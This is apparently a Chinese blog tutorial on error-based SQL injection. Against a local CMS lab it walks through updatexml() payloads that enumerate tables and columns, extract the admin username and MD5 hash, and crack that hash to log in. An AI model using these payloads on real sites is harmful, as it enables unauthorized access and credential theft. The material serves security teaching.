SQL注入之报错注入

文章目录

报错注入是什么?

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

报错注入就是在判断SQL注入的注入点时发现数据库的报错信息会回显到页面上,那么就可以对报错信息进行注入操作。

报错注入获取cms账号密码

打开cms数据库的网页:http://127.0.0.1/cms/show.php?id=33,

打开hackbar插件,在URL中输入命令测试:

报错注入公式:

复制代码
updatexml(1,concat(0x5e,(select database()),0x5e),1)

获取数据库名:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

运行结果:

数据库名为cms

获取表个数:

count(*):获取表个数

0x5e:^符,用来分割报错和输出的结果

concat:将多个字符连接成一个字符串

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

运行结果:

一共有8个表

逐个获取表名:

报错注入不同于联合查询,它只能逐个获取表名

limit 0,1:用来限定取第0行的一行记录,由于有8个表,也就是有8行数据,多取会报错。

information_schema 元数据数据库

存储库名、表名(-- tables)

存储列名(-- columns)))

取第0行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

运行结果:

找出表名cms_article

去第1行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

运行结果:

找出表名cms_category

以此类推,直到取出所有表名:

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

获取cms_users表的列的个数:

table_name=0x636d735f7573657273是cms_users表名转16进制后的结果,如果直接用表名'cms_users',会导致表名被cms**转义并报错,**所以需要避免单引号的使用。

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)

运行结果:

cms_users表中一共有三列数据

获取cms_users表的列的字段(内容):

limit 0,1:用来限定取第0行的一行记录,由于有3行数据,多取会报错。

limit 1,1:用来限定取第1行的一行记录,由于有3行数据,多取会报错。

...

取第一行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

运行结果:

取第二行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 1,1),0x5e),1)

运行结果:

取出的所有字段:

userid

username

password

获取username的内容:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

运行结果:

用户名为admin

获取password中的密文:

length(password):获取password的密文长度,由于password中的密码是一段md5密文,长度过长,不能一次取出,先获取长度后分次取出。

获取密文长度:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

运行结果:

md5密文长度是32

取前16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)

运行结果:

前16位md5密码密文

取后16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)

运行结果:

后16位密文

拼接后获得md5密码密文:

复制代码
e10adc3949ba59abbe56e057f20f883e

解码得到明文密码:

复制代码
123456

成功登录

相关推荐
倔强的石头_1 天前
kingbase备份与恢复实战(二)—— sys_dump库级逻辑备份与恢复(Windows详细步骤)
数据库
jiayou642 天前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库
李广坤3 天前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区4 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1774 天前
《从零搭建NestJS项目》
数据库·typescript
加号35 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏5 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐5 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再5 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest5 天前
数据库SQL学习
数据库·sql